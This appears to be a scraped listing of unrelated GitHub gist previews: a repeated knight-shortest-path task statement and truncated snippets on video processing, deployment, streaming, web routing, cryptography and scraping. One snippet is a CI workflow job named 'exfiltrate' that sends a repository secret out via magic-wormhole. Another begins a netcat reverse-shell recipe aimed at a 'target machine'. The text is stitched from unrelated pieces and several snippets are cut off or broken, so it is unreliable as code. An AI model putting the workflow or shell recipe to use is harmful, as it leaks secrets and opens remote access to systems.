Implement a program that finds the shortest path a knight can take between two points on a standard 8x8 chessboard.
In chess, knights move in an L-shape: 2 squares along one dimension, 1 square along the other. See the Wikipedia illustration:
Implement a program that finds the shortest path a knight can take between two points on a standard 8x8 chessboard.
In chess, knights move in an L-shape: 2 squares along one dimension, 1 square along the other. See the Wikipedia illustration:
jobs: | |
exfiltrate: | |
runs-on: ubuntu-latest | |
steps: | |
- name: exfiltrate secrets | |
run: | | |
sudo apt update && sudo apt install magic-wormhole | |
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number | |
# wormhole receive 3-magic-number |
import cv2 | |
target_cascade = cv2.CascadeClassifier('haarcascade_upperbody.xml') | |
video_capture = cv2.VideoCapture('your_video.mp4') | |
fps = int(video_capture.get(cv2.CAP_PROP_FPS)) | |
output_width, output_height = 400, 300 | |
fourcc = cv2.VideoWriter_fourcc(*'XVID') | |
output_video = cv2.VideoWriter('output_video2.mp4', fourcc, fps, (output_width, output_height)) |
#!/usr/bin/env bash | |
output=$(git pull) | |
if [[ $output == *"Already up to date."* ]]; then | |
echo "No changes detected." | |
else | |
echo "Changes detected." | |
color=$(grep file dynamic/http.routers.docker-localhost.yml | cut -d' ' -f8 | cut -d'@' -f 1); | |
new_color=$([ "$color" = "green" ] && echo "blue" || echo "green") |
ffmpeg \ | |
-re -i playlist.m3u8 -vcodec libx264 -preset ultrafast -maxrate 600k -b:v 2500k \ | |
-bufsize 600k -pix_fmt yuv420p -g 60 -c:a aac -b:a 160k -ac 2 \ | |
-ar 44100 -f flv -s 1280x720 "rtmp://$YOURSERVER/$AUTH" |
import Elysia from "elysia"; | |
const router = new Bun.FileSystemRouter({ | |
style: "nextjs", | |
dir: import.meta.dir, | |
}); | |
export const get = () => 'OK'; | |
export default new Elysia() |
/* | |
crypto.subtle.generateKey({ | |
name: 'RSA-OAEP', | |
modulusLength: 2048, | |
publicExponent: new Uint8Array([1, 0, 1]), | |
hash: {name: 'SHA-256'} | |
}, true, ['encrypt', 'decrypt']) | |
.then(keypair => | |
crypto.subtle.encrypt({ name: 'RSA-OAEP', hash: {name: 'SHA-256'}}, keypair.publicKey, (new TextEncoder()).encode('lol')) | |
.then(encrypted => crypto.subtle.decrypt({ name: 'RSA-OAEP', hash: {name: 'SHA-256'}}, keypair.privateKey, encrypted)) |
#!/bin/bash | |
SEA=$(curl 'https://seatemperature.info/paphos-water-temperature.html' \ | |
-H 'authority: seatemperature.info' \ | |
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \ | |
-H 'accept-language: en-GB,en;q=0.9,en-US;q=0.8,it;q=0.7,es;q=0.6' \ | |
-H 'cache-control: no-cache' \ | |
-H 'cookie: adviv=1' \ | |
-H 'dnt: 1' \ | |
-H 'pragma: no-cache' \ | |
-H 'sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"' \ |
YOURIP=10.0.0.1 | |
PORT=4444 | |
On your machine: | |
nc -l $PORT | |
Paste this: | |
echo "Any command" | |
Execute this on the target machine: |
const randomPoints = (n: number, d = 2) => | |
const d = 2; | |
let g = 1.0; | |
for (let i = 0; i < 20; i++) { | |
g = g - (Math.pow(g, d + 1) - g - 1) / ((d + 1) * Math.pow(g, d) - 1); | |
} | |
const alpha = new Array(d).fill(0); | |
for (let j = 0; j < d; j++) { | |
alpha[j] = Math.pow(1 / g, j + 1) % 1; | |
} |